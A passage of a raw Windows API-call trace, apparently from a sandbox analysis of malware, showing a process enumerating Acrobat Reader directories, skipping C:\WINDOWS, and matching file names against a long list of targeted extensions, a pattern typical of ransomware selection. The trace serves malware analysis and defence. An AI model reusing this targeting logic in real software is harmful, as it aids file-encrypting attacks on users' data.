lpString2="ui-strings.js") returned -1 [0270.097] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0270.098] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js") returned 114 [0270.098] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0270.099] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua") returned 106 [0270.099] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua") returned 1 [0270.099] lstrlenW (lpString="uk-ua") returned 5 [0270.099] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="uk-ua") returned -1 [0270.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.099] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua") returned 106 [0270.099] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0270.099] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.099] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.099] lstrlenW (lpString="ui-strings.js") returned 13 [0270.099] lstrlenW (lpString=".1cd") returned 4 [0270.099] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.099] lstrlenW (lpString=".3ds") returned 4 [0270.100] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.100] lstrlenW (lpString=".3fr") returned 4 [0270.100] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.100] lstrlenW (lpString=".3g2") returned 4 [0270.100] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.100] lstrlenW (lpString=".3gp") returned 4 [0270.101] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.101] lstrlenW (lpString=".7z") returned 3 [0270.101] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.101] lstrlenW (lpString=".accda") returned 6 [0270.101] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.101] lstrlenW (lpString=".accdb") returned 6 [0270.101] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.101] lstrlenW (lpString=".accdc") returned 6 [0270.101] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.101] lstrlenW (lpString=".accde") returned 6 [0270.101] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.101] lstrlenW (lpString=".accdt") returned 6 [0270.101] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.101] lstrlenW (lpString=".accdw") returned 6 [0270.101] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.101] lstrlenW (lpString=".adb") returned 4 [0270.101] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.101] lstrlenW (lpString=".adp") returned 4 [0270.101] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.101] lstrlenW (lpString=".ai") returned 3 [0270.101] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.102] lstrlenW (lpString=".ai3") returned 4 [0270.102] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.102] lstrlenW (lpString=".ai4") returned 4 [0270.102] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.102] lstrlenW (lpString=".ai5") returned 4 [0270.102] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.102] lstrlenW (lpString=".ai6") returned 4 [0270.102] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.102] lstrlenW (lpString=".ai7") returned 4 [0270.102] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.102] lstrlenW (lpString=".ai8") returned 4 [0270.102] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.102] lstrlenW (lpString=".anim") returned 5 [0270.102] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.102] lstrlenW (lpString=".arw") returned 4 [0270.102] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.102] lstrlenW (lpString=".as") returned 3 [0270.102] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.102] lstrlenW (lpString=".asa") returned 4 [0270.102] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.103] lstrlenW (lpString=".asc") returned 4 [0270.103] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.103] lstrlenW (lpString=".ascx") returned 5 [0270.103] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.103] lstrlenW (lpString=".asm") returned 4 [0270.103] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.103] lstrlenW (lpString=".asmx") returned 5 [0270.103] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.103] lstrlenW (lpString=".asp") returned 4 [0270.103] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.103] lstrlenW (lpString=".aspx") returned 5 [0270.103] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.103] lstrlenW (lpString=".asr") returned 4 [0270.103] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.103] lstrlenW (lpString=".asx") returned 4 [0270.103] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.103] lstrlenW (lpString=".avi") returned 4 [0270.103] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.103] lstrlenW (lpString=".avs") returned 4 [0270.103] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.103] lstrlenW (lpString=".backup") returned 7 [0270.103] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.104] lstrlenW (lpString=".bak") returned 4 [0270.104] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.104] lstrlenW (lpString=".bay") returned 4 [0270.104] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.104] lstrlenW (lpString=".bd") returned 3 [0270.104] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.104] lstrlenW (lpString=".bin") returned 4 [0270.104] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.104] lstrlenW (lpString=".bmp") returned 4 [0270.104] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.104] lstrlenW (lpString=".bz2") returned 4 [0270.104] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.104] lstrlenW (lpString=".c") returned 2 [0270.104] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.104] lstrlenW (lpString=".cdr") returned 4 [0270.104] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.104] lstrlenW (lpString=".cer") returned 4 [0270.104] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.104] lstrlenW (lpString=".cf") returned 3 [0270.104] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.104] lstrlenW (lpString=".cfc") returned 4 [0270.104] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.104] lstrlenW (lpString=".cfm") returned 4 [0270.104] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.105] lstrlenW (lpString=".cfml") returned 5 [0270.105] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.105] lstrlenW (lpString=".cfu") returned 4 [0270.105] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.105] lstrlenW (lpString=".chm") returned 4 [0270.105] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.105] lstrlenW (lpString=".cin") returned 4 [0270.105] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.105] lstrlenW (lpString=".class") returned 6 [0270.105] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.105] lstrlenW (lpString=".clx") returned 4 [0270.105] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.105] lstrlenW (lpString=".config") returned 7 [0270.105] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.105] lstrlenW (lpString=".cpp") returned 4 [0270.105] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.105] lstrlenW (lpString=".cr2") returned 4 [0270.105] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.105] lstrlenW (lpString=".crt") returned 4 [0270.105] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.105] lstrlenW (lpString=".crw") returned 4 [0270.105] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".cs") returned 3 [0270.106] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.106] lstrlenW (lpString=".css") returned 4 [0270.106] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".csv") returned 4 [0270.106] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".cub") returned 4 [0270.106] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".dae") returned 4 [0270.106] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".dat") returned 4 [0270.106] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".db") returned 3 [0270.106] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.106] lstrlenW (lpString=".dbf") returned 4 [0270.106] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".dbx") returned 4 [0270.106] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".dc3") returned 4 [0270.106] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".dcm") returned 4 [0270.106] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".dcr") returned 4 [0270.106] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.106] lstrlenW (lpString=".der") returned 4 [0270.106] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.107] lstrlenW (lpString=".dib") returned 4 [0270.107] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.107] lstrlenW (lpString=".dic") returned 4 [0270.107] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.107] lstrlenW (lpString=".dif") returned 4 [0270.107] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.107] lstrlenW (lpString=".divx") returned 5 [0270.107] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.107] lstrlenW (lpString=".djvu") returned 5 [0270.107] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.107] lstrlenW (lpString=".dng") returned 4 [0270.107] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.107] lstrlenW (lpString=".doc") returned 4 [0270.107] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.107] lstrlenW (lpString=".docm") returned 5 [0270.107] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.107] lstrlenW (lpString=".docx") returned 5 [0270.107] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.107] lstrlenW (lpString=".dot") returned 4 [0270.107] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.107] lstrlenW (lpString=".dotm") returned 5 [0270.107] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.107] lstrlenW (lpString=".dotx") returned 5 [0270.107] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.108] lstrlenW (lpString=".dpx") returned 4 [0270.108] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.108] lstrlenW (lpString=".dqy") returned 4 [0270.108] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.108] lstrlenW (lpString=".dsn") returned 4 [0270.108] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.108] lstrlenW (lpString=".dt") returned 3 [0270.108] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.108] lstrlenW (lpString=".dtd") returned 4 [0270.108] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.108] lstrlenW (lpString=".dwg") returned 4 [0270.108] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.108] lstrlenW (lpString=".dwt") returned 4 [0270.108] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.108] lstrlenW (lpString=".dx") returned 3 [0270.108] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.108] lstrlenW (lpString=".dxf") returned 4 [0270.108] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.108] lstrlenW (lpString=".edml") returned 5 [0270.109] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.110] lstrlenW (lpString=".efd") returned 4 [0270.110] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.110] lstrlenW (lpString=".elf") returned 4 [0270.110] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.110] lstrlenW (lpString=".emf") returned 4 [0270.110] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.110] lstrlenW (lpString=".emz") returned 4 [0270.110] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.110] lstrlenW (lpString=".epf") returned 4 [0270.110] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.110] lstrlenW (lpString=".eps") returned 4 [0270.110] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.111] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0270.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.111] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0270.111] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn") returned 106 [0270.111] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn") returned 1 [0270.111] lstrlenW (lpString="zh-cn") returned 5 [0270.111] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-cn") returned -1 [0270.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.111] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn") returned 106 [0270.111] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0270.112] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.112] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.112] lstrlenW (lpString="ui-strings.js") returned 13 [0270.112] lstrlenW (lpString=".1cd") returned 4 [0270.112] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.112] lstrlenW (lpString=".3ds") returned 4 [0270.112] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.112] lstrlenW (lpString=".3fr") returned 4 [0270.112] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.112] lstrlenW (lpString=".3g2") returned 4 [0270.112] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.112] lstrlenW (lpString=".3gp") returned 4 [0270.112] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.112] lstrlenW (lpString=".7z") returned 3 [0270.113] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.113] lstrlenW (lpString=".accda") returned 6 [0270.113] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.113] lstrlenW (lpString=".accdb") returned 6 [0270.113] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.113] lstrlenW (lpString=".accdc") returned 6 [0270.113] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.113] lstrlenW (lpString=".accde") returned 6 [0270.113] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.113] lstrlenW (lpString=".accdt") returned 6 [0270.113] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.113] lstrlenW (lpString=".accdw") returned 6 [0270.113] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.113] lstrlenW (lpString=".adb") returned 4 [0270.113] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.113] lstrlenW (lpString=".adp") returned 4 [0270.113] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.113] lstrlenW (lpString=".ai") returned 3 [0270.113] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.114] lstrlenW (lpString=".ai3") returned 4 [0270.114] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.114] lstrlenW (lpString=".ai4") returned 4 [0270.114] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.114] lstrlenW (lpString=".ai5") returned 4 [0270.114] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.114] lstrlenW (lpString=".ai6") returned 4 [0270.114] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.114] lstrlenW (lpString=".ai7") returned 4 [0270.114] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.114] lstrlenW (lpString=".ai8") returned 4 [0270.114] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.114] lstrlenW (lpString=".anim") returned 5 [0270.114] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.114] lstrlenW (lpString=".arw") returned 4 [0270.114] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.114] lstrlenW (lpString=".as") returned 3 [0270.114] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.114] lstrlenW (lpString=".asa") returned 4 [0270.114] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.114] lstrlenW (lpString=".asc") returned 4 [0270.115] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.115] lstrlenW (lpString=".ascx") returned 5 [0270.115] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.115] lstrlenW (lpString=".asm") returned 4 [0270.115] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.115] lstrlenW (lpString=".asmx") returned 5 [0270.115] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.115] lstrlenW (lpString=".asp") returned 4 [0270.115] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.115] lstrlenW (lpString=".aspx") returned 5 [0270.115] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.115] lstrlenW (lpString=".asr") returned 4 [0270.115] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.115] lstrlenW (lpString=".asx") returned 4 [0270.115] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.115] lstrlenW (lpString=".avi") returned 4 [0270.115] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".avs") returned 4 [0270.116] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".backup") returned 7 [0270.116] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.116] lstrlenW (lpString=".bak") returned 4 [0270.116] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".bay") returned 4 [0270.116] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".bd") returned 3 [0270.116] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.116] lstrlenW (lpString=".bin") returned 4 [0270.116] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".bmp") returned 4 [0270.116] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".bz2") returned 4 [0270.116] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".c") returned 2 [0270.116] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.116] lstrlenW (lpString=".cdr") returned 4 [0270.116] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".cer") returned 4 [0270.116] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.116] lstrlenW (lpString=".cf") returned 3 [0270.117] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.117] lstrlenW (lpString=".cfc") returned 4 [0270.117] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.117] lstrlenW (lpString=".cfm") returned 4 [0270.117] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.117] lstrlenW (lpString=".cfml") returned 5 [0270.117] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.117] lstrlenW (lpString=".cfu") returned 4 [0270.117] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.117] lstrlenW (lpString=".chm") returned 4 [0270.117] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.117] lstrlenW (lpString=".cin") returned 4 [0270.117] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.117] lstrlenW (lpString=".class") returned 6 [0270.117] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.117] lstrlenW (lpString=".clx") returned 4 [0270.117] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.117] lstrlenW (lpString=".config") returned 7 [0270.117] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.117] lstrlenW (lpString=".cpp") returned 4 [0270.117] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.117] lstrlenW (lpString=".cr2") returned 4 [0270.118] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.118] lstrlenW (lpString=".crt") returned 4 [0270.118] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.118] lstrlenW (lpString=".crw") returned 4 [0270.118] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.118] lstrlenW (lpString=".cs") returned 3 [0270.118] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.118] lstrlenW (lpString=".css") returned 4 [0270.118] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.118] lstrlenW (lpString=".csv") returned 4 [0270.118] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.118] lstrlenW (lpString=".cub") returned 4 [0270.118] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.118] lstrlenW (lpString=".dae") returned 4 [0270.118] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.118] lstrlenW (lpString=".dat") returned 4 [0270.118] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.120] lstrlenW (lpString=".db") returned 3 [0270.120] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.120] lstrlenW (lpString=".dbf") returned 4 [0270.120] lstrcmpiW 